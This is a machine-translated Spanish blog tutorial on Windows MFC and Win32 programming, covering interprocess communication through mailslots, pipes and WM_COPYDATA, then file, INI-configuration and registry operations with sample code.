			LPCWSTR strBuf = A2W(pBuf);
			GlobalUnlock(hClip);
			SetDlgItemText(IDC_EDIT_RECV, strBuf);
		}
		CloseClipboard();
	}

}

7.5 Método de comunicación entre procesos: ranura de correo

  • Objeto Kernel de ranura de correo para la ranura de correo
  • El proceso de utilizar la comunicación mailslot se divide en servidor y cliente. La ranura de correo es creada por el servidor. Al crearla, debe especificar el nombre de la ranura de correo. Después de la creación, el servidor obtiene el identificador de la ranura de correo. Una vez creada la ranura de correo, el cliente puede abrirla a través del nombre de la ranura de correo y puede escribir mensajes en la ranura de correo después de obtener el identificador.
  • La comunicación de la ranura de correo es unidireccional: solo el servidor puede leer mensajes de la ranura de correo y el cliente solo puede escribir mensajes. Los mensajes son los primeros en entrar, los primeros en salir. Los mensajes escritos primero por el cliente son leídos primero por el servidor.
  • Los datos comunicados a través de la ranura de correo pueden estar en cualquier formato, pero un mensaje no puede tener más de 424 bytes.
  • Además de la comunicación entre procesos dentro de la máquina local, la ranura de correo también puede comunicarse entre hosts. Sin embargo, en la comunicación por ranura de correo entre hosts, se utiliza el protocolo de datagramas (UDP) cuando los datos se transmiten a través de la red, por lo que es una comunicación poco confiable. Al comunicarse a través de una ranura de correo en una red, el cliente debe conocer el nombre de host o el nombre de dominio del servidor .

Crear
servidor de ranura de correo

void CChildView::OnSlot()
{
    
    
	//    "\\\\.\\mailslot\\Mymailslot    \\.\mailslot\Mymailslot 
	//  1  创建一个邮槽
	LPCTSTR szSlotName = TEXT("\\\\.\\mailslot\\Mymailslot");
	HANDLE hSlot = CreateMailslot(szSlotName,
		0,                             // no maximum message size 
		MAILSLOT_WAIT_FOREVER,         // no time-out for operations 
		NULL); // default security

	if (hSlot == INVALID_HANDLE_VALUE)
	{
    
    
		TRACE("CreateMailslot failed with %d\n", GetLastError());
		return ;
	}
	// 2 读取数据
	char szBuf[100] = {
    
     0 };
	DWORD dwRead;
	TRACE("Begin ReadFile");
	if (!ReadFile(hSlot, szBuf, 100, &dwRead, NULL))
	{
    
    
		MessageBox(_T("读取数据失败"));
		CloseHandle(hSlot);
		return;
	}
	TRACE("End ReadFile");
	MessageBox((CStringW)szBuf);
	CloseHandle(hSlot);
}

cliente

void CChildView::OnSend()
{
    
    
	// 创建一个文件句柄
	LPCTSTR szSlotName = TEXT("\\\\.\\mailslot\\Mymailslot");
	HANDLE hMailSlot = 
		CreateFile(szSlotName, FILE_GENERIC_WRITE, 
			FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL );
	if (hMailSlot == INVALID_HANDLE_VALUE)
	{
    
    
		TRACE("CreateFile failed with %d\n", GetLastError());
		return;
	}

	//写入数据
	char szBuf[] = "C++ is handsome";
	DWORD dwWrite;
	if (!WriteFile(hMailSlot, szBuf, strlen(szBuf) + 1, &dwWrite, NULL))
	{
    
    
		MessageBox(_T("写入数据失败"));
		CloseHandle(hMailSlot);
		return;
	}
	CloseHandle(hMailSlot);
}

7.6 Método de comunicación entre procesos: tubería anónima Tubería

Una tubería anónima es una tubería unidireccional sin nombre, que es esencialmente un área de memoria compartida. Generalmente se utiliza para comunicarse entre procesos padre e hijo. La comunicación entre dos procesos locales sólo se puede lograr. No se puede lograr la comunicación de red.
Memoria compartida

CreatePipe(
Out PHANDLE hReadPipe, // Esta variable recibe el identificador de lectura de la tubería.
Out PHANDLE hWritePipe, // Esta variable recibe el identificador de escritura de la tubería.
In_opt LPSECURITY_ATTRIBUTES lpPipeAttributes, // NULL
In DWORD nSize // El tamaño de la tubería buffer de tubería 0: tamaño del área de buffer predeterminado
);
si puede ser heredado por procesos secundarios

proceso padre

void CChildView::OnPipeCreate()
{
    
    
	// TODO: 在此添加命令处理程序代码
	//创建匿名管道
	SECURITY_ATTRIBUTES sa;
	sa.bInheritHandle = TRUE;
	sa.lpSecurityDescriptor = NULL;
	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
	if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0))
	{
    
    
		MessageBox(_T("匿名管道创建失败"));
		return;
	}
	//创建子进程
	STARTUPINFO strStartupInfo; //用来指定新进程窗口如何显示
	memset(&strStartupInfo, 0, sizeof(strStartupInfo));
	strStartupInfo.cb = sizeof(strStartupInfo);
	strStartupInfo.dwFlags = STARTF_USESTDHANDLES;
	strStartupInfo.hStdInput = hReadPipe;
	strStartupInfo.hStdOutput = hWritePipe;
	strStartupInfo.hStdError = GetStdHandle(STD_ERROR_HANDLE);

	PROCESS_INFORMATION szProcessInformation;
	memset(&szProcessInformation, 0, sizeof(szProcessInformation));

	int iRet = CreateProcess(
		_T("MailSlotClient.exe"),
		NULL,
		NULL,
		NULL,
		TRUE,
		0,
		NULL,
		NULL,
		&strStartupInfo,
		&szProcessInformation
	);
	if (iRet)
	{
    
    
		//创建成功
		CloseHandle(szProcessInformation.hProcess);
		CloseHandle(szProcessInformation.hThread);
		szProcessInformation.dwProcessId = 0;
		szProcessInformation.dwThreadId = 0;
		szProcessInformation.hThread = NULL;
		szProcessInformation.hProcess = NULL;
		
	}
	else
	{
    
    
		
		CloseHandle(hReadPipe);
		CloseHandle(hWritePipe);
		hReadPipe = NULL;
		hWritePipe = NULL;
		MessageBox(_T("创建子进程失败"));
		return;
	}

	
}


void CChildView::OnPipeRead()
{
    
    
	char szBuf[100] = {
    
     0 };
	DWORD dwRead;
	TRACE("Begin ReadFile");
	if (!ReadFile(hReadPipe, szBuf, 100, &dwRead, NULL))
	{
    
    
		MessageBox(_T("读取数据失败"));
		return;
	}
	TRACE("End PipeReadFile");
	MessageBox((CStringW)szBuf);
}


void CChildView::OnPipeWrite()
{
    
    
	//写入数据
	char szBuf[] = "C++ is best";
	DWORD dwWrite;
	if (!WriteFile(hWritePipe, szBuf, strlen(szBuf) + 1, &dwWrite, NULL))
	{
    
    
		MessageBox(_T("写入数据失败"));
		return;
	}
}

proceso hijo

hReadCliPipe =GetStdHandle(STD_INPUT_HANDLE);
hWriteCliPipe = GetStdHandle(STD_OUTPUT_HANDLE);
void CChildView::OnCliPipeRead()
{
    
    
	char szBuf[100] = {
    
     0 };
	DWORD dwRead;
	TRACE("Begin ReadFile");  //查找所有引用shift + alt + F
	if (!ReadFile(hReadCliPipe, szBuf, 100, &dwRead, NULL))
	{
    
    
		MessageBox(_T("读取数据失败"));
		return;
	}
	TRACE("End PipeReadFile");
	MessageBox((CStringW)szBuf);
}


void CChildView::OnCliPipeWrite()
{
    
    
	char szBuf[] = "C++ is best";
	DWORD dwWrite;
	if (!WriteFile(hWriteCliPipe, szBuf, strlen(szBuf) + 1, &dwWrite, NULL))
	{
    
    
		MessageBox(_T("写入数据失败"));
		CloseHandle(hWriteCliPipe);
		return;
	}
	CloseHandle(hWriteCliPipe);
}

7.7 Método de comunicación entre procesos: canalización con nombre NamedPipe

Similar a Socket, admite la comunicación entre diferentes procesos en la red.

CreateNamedPipe
HANDLE CreateNamedPipeA(
  LPCSTR                lpName,  // \.\pipe<i>pipename
  DWORD                 dwOpenMode,
  DWORD                 dwPipeMode,
  DWORD                 nMaxInstances,
  DWORD                 nOutBufferSize,
  DWORD                 nInBufferSize,
  DWORD                 nDefaultTimeOut,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes
);

Esperando la conexión

BOOL ConnectNamedPipe(
  HANDLE       hNamedPipe,
  LPOVERLAPPED lpOverlapped
);

WaitNamedPipe(szNamedPipeName, NMPWAIT_WAIT_FOREVER)

cliente

void CChildView::OnConnectNamedPipe()
{
    
    
	LPCTSTR szNamedPipeName = TEXT("\\\\.\\pipe\\mypipe");
	if (0 == WaitNamedPipe(szNamedPipeName, NMPWAIT_WAIT_FOREVER))
	{
    
    
		MessageBox(_T("当前没有可以利用的管道"));
		return;
	}
	hNamedPipe =
		CreateFile(szNamedPipeName, GENERIC_READ | GENERIC_WRITE,
			0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hNamedPipe == INVALID_HANDLE_VALUE)
	{
    
    
		TRACE("CreateFile failed with %d\n", GetLastError());
		MessageBox(_T("打开命名管道失败!"));
		hNamedPipe = NULL;
		return;
	}

}


void CChildView::OnReadNamedPipe()
{
    
    
	char szBuf[100] = {
    
     0 };
	DWORD dwRead;
	if (!ReadFile(hNamedPipe, szBuf, 100, &dwRead, NULL))
	{
    
    
		MessageBox(_T("读取数据失败"));
		return;
	}
	MessageBox((CStringW)szBuf);
}


void CChildView::OnWriteNamedPipe()
{
    
    
	char szBuf[] = "NAMEDPIPE CLIENT";
	DWORD dwWrite;
	if (!WriteFile(hNamedPipe, szBuf, strlen(szBuf) + 1, &dwWrite, NULL))
	{
    
    
		MessageBox(_T("写入数据失败"));
		CloseHandle(hWriteCliPipe);
		return;
	}
	CloseHandle(hWriteCliPipe);
}

Servidor

void CChildView::OnConnectNamedPipe()
{
    
    
	LPCTSTR szNamedPipeName = TEXT("\\\\.\\pipe\\mypipe");
	if (0 == WaitNamedPipe(szNamedPipeName, NMPWAIT_WAIT_FOREVER))
	{
    
    
		MessageBox(_T("当前没有可以利用的管道"));
		return;
	}
	hNamedPipe =
		CreateFile(szNamedPipeName, GENERIC_READ | GENERIC_WRITE,
			0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hNamedPipe == INVALID_HANDLE_VALUE)
	{
    
    
		TRACE("CreateFile failed with %d\n", GetLastError());
		MessageBox(_T("打开命名管道失败!"));
		hNamedPipe = NULL;
		return;
	}

}


void CChildView::OnReadNamedPipe()
{
    
    
	char szBuf[100] = {
    
     0 };
	DWORD dwRead;
	if (!ReadFile(hNamedPipe, szBuf, 100, &dwRead, NULL))
	{
    
    
		MessageBox(_T("读取数据失败"));
		return;
	}
	MessageBox((CStringW)szBuf);
}


void CChildView::OnWriteNamedPipe()
{
    
    
	char szBuf[] = "NAMEDPIPE CLIENT";
	DWORD dwWrite;
	if (!WriteFile(hNamedPipe, szBuf, strlen(szBuf) + 1, &dwWrite, NULL))
	{
    
    
		MessageBox(_T("写入数据失败"));
		CloseHandle(hWriteCliPipe);
		return;
	}
	CloseHandle(hWriteCliPipe);
}

7.8 Método de comunicación entre procesos: WM_COPYDATA

  • WM_COPYDATA

  • wParam
    es el identificador de la ventana a la que se pasan los datos.
    COPYDATASTRUCT
    Puntero a la estructura COPYDATASTRUCT que contiene los datos que se van a pasar.
    Se debe devolver VERDADERO si la aplicación receptora maneja este mensaje; de ​​lo contrario, se debe devolver FALSO.

  • La herramienta SPY ++ se utiliza especialmente para encontrar el identificador de ventana
    . Para enviar datos al proceso, primero debe obtener el identificador de ventana del proceso y primero debe obtener el título.

El extremo emisor
recibe primero el encabezado.
Insertar descripción de la imagen aquí

void CWMCOPYDATASENDDlg::OnBnClickedSend()
{
    
    
	// 必须要知道标题  句柄  
	CString strWindowTitle = _T("MFCRecv");
	CString strDataToSend = _T("Hello ,this is Hello WM_COPYDATA");
	//句柄
	HWND hRecvWnd = ::FindWindow(NULL, strWindowTitle.GetBuffer(0));
	if (hRecvWnd != NULL && ::IsWindow(hRecvWnd))
	{
    
    
		//数据的封装
		COPYDATASTRUCT cpd;
		cpd.dwData = 0;
		cpd.cbData = strDataToSend.GetLength() * sizeof(TCHAR);
		cpd.lpData = (PVOID)strDataToSend.GetBuffer(0);
		::SendMessage(hRecvWnd, WM_COPYDATA, (WPARAM)(AfxGetApp()->m_pMainWnd),(LPARAM)&cpd);
	}
	strDataToSend.ReleaseBuffer();
}

Extremo de recepción

BOOL CWMCOPYDATADlg::OnCopyData(CWnd* pWnd, COPYDATASTRUCT* pCopyDataStruct)
{
    
    
	//消息响应函数
	//解析数据
	LPCTSTR szText = (LPCTSTR)(pCopyDataStruct->lpData);
	DWORD dwLength = (DWORD)pCopyDataStruct->cbData;
	TCHAR szRecvText[1024] = {
    
     0 };
	memcpy(szRecvText, szText, dwLength);
	MessageBox(szRecvText, _T("Hello"), MB_OK);
	return CDialogEx::OnCopyData(pWnd, pCopyDataStruct);
}

7.9 Comparación de métodos de comunicación entre procesos

  • El portapapeles es relativamente simple. El portapapeles y las canalizaciones anónimas solo pueden realizar la comunicación entre dos procesos en la misma máquina, pero no pueden realizar la comunicación entre procesos de red.
  • Los espacios de correo se basan en transmisión y se pueden enviar de uno a muchos. Pero solo uno puede enviar y el otro puede recibir, si quieres enviar y recibir al mismo tiempo debes escribir el código dos veces. Desventajas de la ranura de correo: la cantidad de datos transferidos es muy pequeña, menos de 424 bytes.
  • Las canalizaciones con nombre y las ranuras de correo permiten la comunicación en red. Las canalizaciones con nombre solo pueden ser comunicaciones únicas punto a punto.
  • WM_COPY_DATA encapsula datos y los analiza. Muy conveniente. Si la cantidad de datos es grande, se recomienda utilizar canalizaciones con nombre.

8 operaciones de archivos

Almacenamiento de archivos de logs, archivos de configuración de operación, ini, registro, audio y video.
Todo en Linux es un archivo.

Archivos de operación 8.1C/C++

8.1.1 Archivos de operación en lenguaje C fopen, fwrite

  • fopen(
    In_z char const* _FileName,
    In_z char const* _Mode
    );

  • errno_t __cdecl fopen_s(
    Outptr_result_maybenull ARCHIVO** _Stream,
    In_z char const* _FileName,
    In_z char const* _Mode
    );
    Insertar descripción de la imagen aquí

  • size_t __cdecl fwrite(
    In_reads_bytes (_ElementSize * _ElementCount) void const* _Buffer,
    In size_t _ElementSize,
    In size_t _ElementCount,
    Inout FILE* _Stream
    );
    宽字节而言 wchar a[20] = “Hola”;
    ANSI char a[20] = “Hola”;

  • fseek(
    Inout FILE* _Stream, // Puntero a la estructura FILE
    En long _Offset, // Offset
    In int _Origin // Especifica la posición inicial del puntero del archivo // SEEK_CUR Posición actual
    // SEEK_END Posición final del archivo SEEK_SET Posición inicial del archivo
    );

  • Ftell devuelve la posición actual del puntero del archivo.

8.1.2 Archivo operativo C++ Ofstream

  • Ofstream
    (const char* _Filename, ios_base::openmode _Mode = ios_base::out,
    int _Prot = ios_base::_Default_open_prot)
    Insertar descripción de la imagen aquí

  • nPuerto
    Insertar descripción de la imagen aquí

  • leer archivo

	ifstream ifs("test.txt");
	char pBuf[100] = {
    
     0 };
	ifs.read(pBuf, 100);
	ifs.close();
	USES_CONVERSION;
	CString strBuf = A2W(pBuf);
	MessageBox(strBuf);
  • escribir archivo
	ofstream ofs("2.txt");//第一个参数表示文件名,2 打开的方式,
 	ofs.write("Ofstream C++", strlen("Ofstream C++"));
	ofs.close();

8.2 API Win32

Crea un archivo

File Pipeline Tank Communication Resources Disco Dispositivo Consola Catálogo

  • CreateFileW(
    En LPCWSTR lpFileName,//El nombre del objeto creado o abierto
    En DWORD dwDesiredAccess,//Modo de acceso lectura, lectura-escritura escritura consulta 0 GENERIC_READ GENERIC_WRITE
    En DWORD dwShareMode,//Modo compartido 0
    In_opt LPSECURITY_ATTRIBUTES lpSecurityAttributes,//NULL no puede ser heredado por el proceso hijo
    En DWORD dwCreationDisposition,//Cómo crear un archivo CREATE_NEW CREATE_ALWAYS
    En DWORD dwFlagsAndAttributes,//Establecer los atributos y banderas del archivo
    In_opt HANDLE hTemplateFile//NULL
    );
  • BOOL WriteFile(
    HANDLE hFile,
    LPCVOID lpBuffer,
    DWORD nNumberOfBytesToWrite, //El número de bytes que se escribirán
    LPDWORD lpNumberOfBytesWritten, //Se utiliza para recibir el número de bytes realmente escritos en el archivo
    LPOVERLAPPED lpOverlapped
    );

Archivos de escritura de API de Windows

		//windows API的写文件
		HANDLE hFile;
		hFile = CreateFile(_T("3.txt"), GENERIC_WRITE, 0, NULL, 
			CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
		if (hFile == INVALID_HANDLE_VALUE)
		{
    
    
			TRACE("INVALID_HANDLE_VALUE,ERRORCODE = %d",GetLastError());
			return;
		}
		DWORD dwWrites;
		WriteFile(hFile, "Win32API", strlen("Win32API"), &dwWrites, NULL);
		TRACE("##dwWrites = %d", dwWrites);
		CloseHandle(hFile);

Archivos de lectura de API de Windows

	//windows API的读文件
	HANDLE hFile;
	hFile = CreateFile(_T("3.txt"), GENERIC_READ, 0, NULL,
		OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	char pBuf[100] = {
    
    0};
	DWORD dwReads;
	ReadFile(hFile, pBuf, 100, &dwReads, NULL);
	TRACE("##dwReads = %d", dwReads);
	CloseHandle(hFile);

8.3 Archivo de operación MFC: CFile

  • Leer archivo
    // MFC leer archivo
//MFC读文件
// 	CFile  file("4.txt", CFile::modeRead);
// 	char szBuf[1024] = {0};
// 	DWORD dwFilelen;
// 	dwFilelen = file.GetLength();
// 	file.Read(szBuf, dwFilelen);
// 	file.Close();
// 	MessageBox(szBuf);
  • Operaciones de alto nivel de lectura de archivos en MFC
	//MFC读文件的高阶操作
	CFileDialog fileDlg(TRUE);
	fileDlg.m_ofn.lpstrTitle = "Test";
	fileDlg.m_ofn.lpstrFilter = "Text Files(*.txt)\0*.txt\0All Files(*.*)\0*.*\0\0";
	if (IDOK == fileDlg.DoModal())
	{
    
    
		CFile  file(fileDlg.GetFileName(), CFile::modeRead);
		char szBuf[1024] = {
    
     0 };
		DWORD dwFilelen;
		dwFilelen = file.GetLength();
		file.Read(szBuf, dwFilelen);
		file.Close();
		MessageBox(szBuf);
	}
  • Escribir archivo:
	CFile  file("4.txt",CFile::modeCreate|CFile::modeWrite);
	char szBuf[1024] = "MFC操作文件";
	file.Write(szBuf, strlen(szBuf));
	file.Close();

8.4 Acceso, lectura y escritura de archivos de configuración –PrivateProfile

Archivo de configuraciónEscribir

void CMyMFCFileView::OnWriteConfig()
{
    
    
// 	[metadata]
// 	title = 搜狗双拼
// 
// 	[声母]
// 	ch = I
// 		sh = U
// 		zh = V
// 		empty = O
	//获取当前路径
	WCHAR strPath[MAX_PATH] = {
    
    0};
	GetCurrentDirectoryW(MAX_PATH, strPath);
	TRACE("##strPath = %ls", strPath);
	//  当前路径 D:\Users\82835\source\repos\MyMFCFile\ + Test.ini
	CString strFilePath;
	strFilePath.Format(L"%ls//Test.ini", strPath);
	WritePrivateProfileStringW(L"metadata", L"title", L"搜狗双拼", strFilePath);
	WritePrivateProfileStringW(L"声母", L"ch", L"I", strFilePath);
	WritePrivateProfileStringW(L"声母", L"sh", L"U", strFilePath);
}

Archivo de configuraciónLeer

void CMyMFCFileView::OnReadConfig()
{
    
    
	//获取当前路径
	WCHAR strPath[MAX_PATH] = {
    
     0 };
	WCHAR strTitle[MAX_PATH] = {
    
     0 };
	WCHAR strCh[MAX_PATH] = {
    
     0 };
	WCHAR strSh[MAX_PATH] = {
    
     0 };
	GetCurrentDirectoryW(MAX_PATH, strPath);
	TRACE("##strPath = %ls", strPath);
	//  当前路径 D:\Users\82835\source\repos\MyMFCFile\ + Test.ini
	CString strFilePath;
	strFilePath.Format(L"%ls//Test.ini", strPath);

	DWORD dwNum1 = GetPrivateProfileStringW(L"metadata", L"title",NULL,
		strTitle, MAX_PATH, strFilePath);

	DWORD dwNum2 = GetPrivateProfileStringW(L"声母", L"ch", NULL,
		strCh, MAX_PATH, strFilePath);

	DWORD dwNum3 = GetPrivateProfileStringW(L"声母", L"sh", NULL,
		strSh, MAX_PATH, strFilePath);

	TRACE("####dwNum1 = %d, dwNum2 = %d, dwNum3 = %d", dwNum1, dwNum2, dwNum3);
	 	USES_CONVERSION;
  	char* szTitle = W2A(strTitle);
	char* szCh= W2A(strCh);
	char* szSh = W2A(strSh);
	TRACE("####strTitle = %s, strCh = %s, strSh = %s", szTitle, szCh, szSh);
}

8.4 Programación del registro: regedit

8.4.1 API de registro

  • El registro se almacena en un archivo binario y la API win32 proporciona una gran cantidad de funciones para operar el registro.
  • Registro: combinación de teclas Win+R: regedit
  • RegCreateKey crea la clave de registro especificada
    RegCreateKeyW(
    En HKEY hKey, //El identificador del elemento abierto actualmente son en realidad esas ramas
    In_opt LPCWSTR lpSubKey, //El nombre del elemento de la tabla abierto o creado
    Out PHKEY phkResult //Se utiliza para recibir Create o abrir el identificador de entrada de la tabla regclosekey
    );
  • RegOpenKeyW(
    In HKEY hKey, //El identificador del elemento abierto actualmente son en realidad esas ramas
    In_opt LPCWSTR lpSubKey,
    Out PHKEY phkResult
    );
  • //Escribir en el registro
    RegSetValueW(
    En HKEY hKey, //El identificador del elemento abierto actualmente son en realidad esas ramas
    In_opt LPCWSTR lpSubKey, //El nombre del elemento de la tabla abierto o creado
    En DWORD dwType, //La indicación se almacena Tipo de información REG_SZ tipo
    In_reads_bytes_opt (cbData) LPCWSTR lpData, //Los datos que se almacenarán en el registro
    En DWORD cbData //El tamaño y la longitud de la cadena de datos que se almacenarán
    );
    RegSetValueExW(
    En HKEY hKey, //El actual open El identificador del elemento son en realidad las ramas
    In_opt LPCWSTR lpValueName, //Puntero a una cadena que contiene el nombre del valor a establecer.
    Reserved DWORD Reserved,//Parámetro reservado 0
    In DWORD dwType,//REG_BINARY
    In_reads_bytes_opt (cbData ) CONST BYTE * lpData,
    en DWORD cbData
    );
  • 读取注册表
    RegQueryValueW(
    In HKEY hKey,
    In_opt LPCWSTR lpSubKey,
    Out_writes_bytes_to_opt (*lpcbData, *lpcbData) __out_data_source(REGISTRY) LPWSTR lpData,
    Inout_opt PLONG lpcbData
    );

8.4.2 Lectura y escritura del registro

  • escribir registro
	HKEY hKey;
	DWORD dwAge = 39;
	//创建注册表项  VS2019自带的调试器管理员权限运行  自己的生成是以用户的权限运行
	int ret = ::RegCreateKeyW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Rock\\admin", &hKey);
	if (ret != ERROR_SUCCESS)
	{
    
    
		TRACE("##RegCreateKeyW Failed ,ErrorCode = %d,ret = %d",GetLastError(), ret);
		MessageBox(L"创建注册表失败");
		return;
	}
	//写注册表
	
	ret = ::RegSetValueEx(hKey, L"age", 0, REG_DWORD, (CONST BYTE*) & dwAge, 4);
	if (ret != ERROR_SUCCESS)
	{
    
    
		TRACE("##RegSetValueEx Failed ,ErrorCode = %d,ret = %d", GetLastError(),ret);
		MessageBox(L"写注册表失败");
		return;
	}
	::RegCloseKey(hKey);	
  • Leer registro
	HKEY hKey;
	DWORD dwAge;
	//创建注册表项  VS2019自带的调试器管理员权限运行  自己的生成是以用户的权限运行
	int ret = ::RegOpenKeyW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Rock\\admin", &hKey);
	if (ret != ERROR_SUCCESS)
	{
    
    
		TRACE("##RegOpenKeyW Failed ,ErrorCode = %d,ret = %d", GetLastError(), ret);
		MessageBox(L"打开注册表失败");
		return;
	}

	//写注册表
	DWORD dwType;
	DWORD dwValue;
	ret = ::RegQueryValueEx(hKey, L"age", 0, &dwType, (LPBYTE) & dwAge, &dwValue);
	if (ret != ERROR_SUCCESS)
	{
    
    
		TRACE("##RegQueryValueEx Failed ,ErrorCode = %d,ret = %d", GetLastError(), ret);
		MessageBox(L"读注册表失败");
		return;
	}
	TRACE("###dwType = %d,dwValue = %d ,dwAge = %d", dwType, dwValue, dwAge);
	::RegCloseKey(hKey);

8.5 Aplicaciones de operaciones de archivos a nivel empresarial

  • 1 Registro de depuración Registro de archivos de depuración: Registro de advertencias Registro de errores 5 estrellas
  • 2 almacenamiento de vídeo 4 estrellas
  • 3Transferencia de archivos CFile combinado con zócalo 4 estrellas
  • 4 Las operaciones de lenguaje C y archivos MFC se usan ampliamente; la API win32 usa menos ifstream ofstream 3 estrellas
  • 5 perfiles windows 5 estrellas
  • 6 Operación de registro virus operación inversa del registro 5 estrellas
    Resumen:
    const char * y char *const: punteros constantes y constantes de puntero
    Operaciones C/C++/WIN32 API/MFC en archivos
    Operaciones de archivos de configuración
    Registro: Permisos

Supongo que te gusta

Origin blog.csdn.net/MOON_YZM/article/details/130201295
Recomendado
Clasificación